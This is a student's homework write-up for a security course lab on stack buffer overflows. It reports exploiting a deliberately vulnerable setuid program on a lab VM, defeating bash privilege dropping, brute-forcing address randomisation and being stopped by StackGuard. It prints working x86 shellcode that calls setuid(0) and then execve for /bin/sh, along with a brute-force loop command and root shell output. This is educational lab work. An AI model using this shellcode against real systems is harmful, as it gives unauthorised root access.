CSC 566 Homework 3

Alexander Cooper

March 2025

1 Task 1: Exploiting the Vulnerability

Using my exploit, I can get a root shell by exectuting the stack program. Below is the result.

```
[03/29/25]seed@VM:~/csc566_hw3$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sud
# whoami
root
#
```

2 Task 2: Protection in /bin/bash

When I use /bin/bash instead of /bin/zsh, I am able to get a shell using the exploit developed, but it is not a root shell. This is because /bin/bash drops privileges when invoked. Below is the result.

```
[03/29/25]seed@VM:~/csc566_hw3$ ./stack
sh-4.3$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
sh-4.3$ whoami
seed
sh-4.3$
```

2.1 Extra Credit

To get this attack to work with /bin/bash, I added a call to setuid(0) to the payload before calling execve(”/bin/bash”). Below is the full shellcode for this attack:

```
const char shellcode[]=
    // setuid(0)
    "\x6a\x17"             /* push    $0x17                  */
    "\x58"                 /* pop     %eax                   */
    "\x31\xdb"             /* xor     %ebx,%ebx              */
    "\xcd\x80"             /* int     $0x80                  */
    // execve("/bin/sh")
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;
```

And here is the output from the exploit:

```
[03/30/25]seed@VM:~/csc566_hw3$ ./stack
sh-4.3# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(pl
sh-4.3# whoami
root
sh-4.3# echo $SHELL
/bin/bash
sh-4.3#
```

3 Task 3: Address Randomization

I am able to get a root shell after a couple seconds by running the exploit in a loop.
Below is the result.

```
[03/29/25]seed@VM:~/csc566_hw3$ sh -c "while [ 1 ]; do ./stack; done;"
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sud
# whoami
```

```
root
# /sbin/sysctl -n kernel.randomize_va_space
2
#
```

4 Task 4: Stack Guard

With the GCC stack guard enabled, I get the following error:

```
[03/29/25]seed@VM:~/csc566_hw3$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

This is likely because GCC inserts code that detects the buffer overflow caused by the exploit, and crashes the program.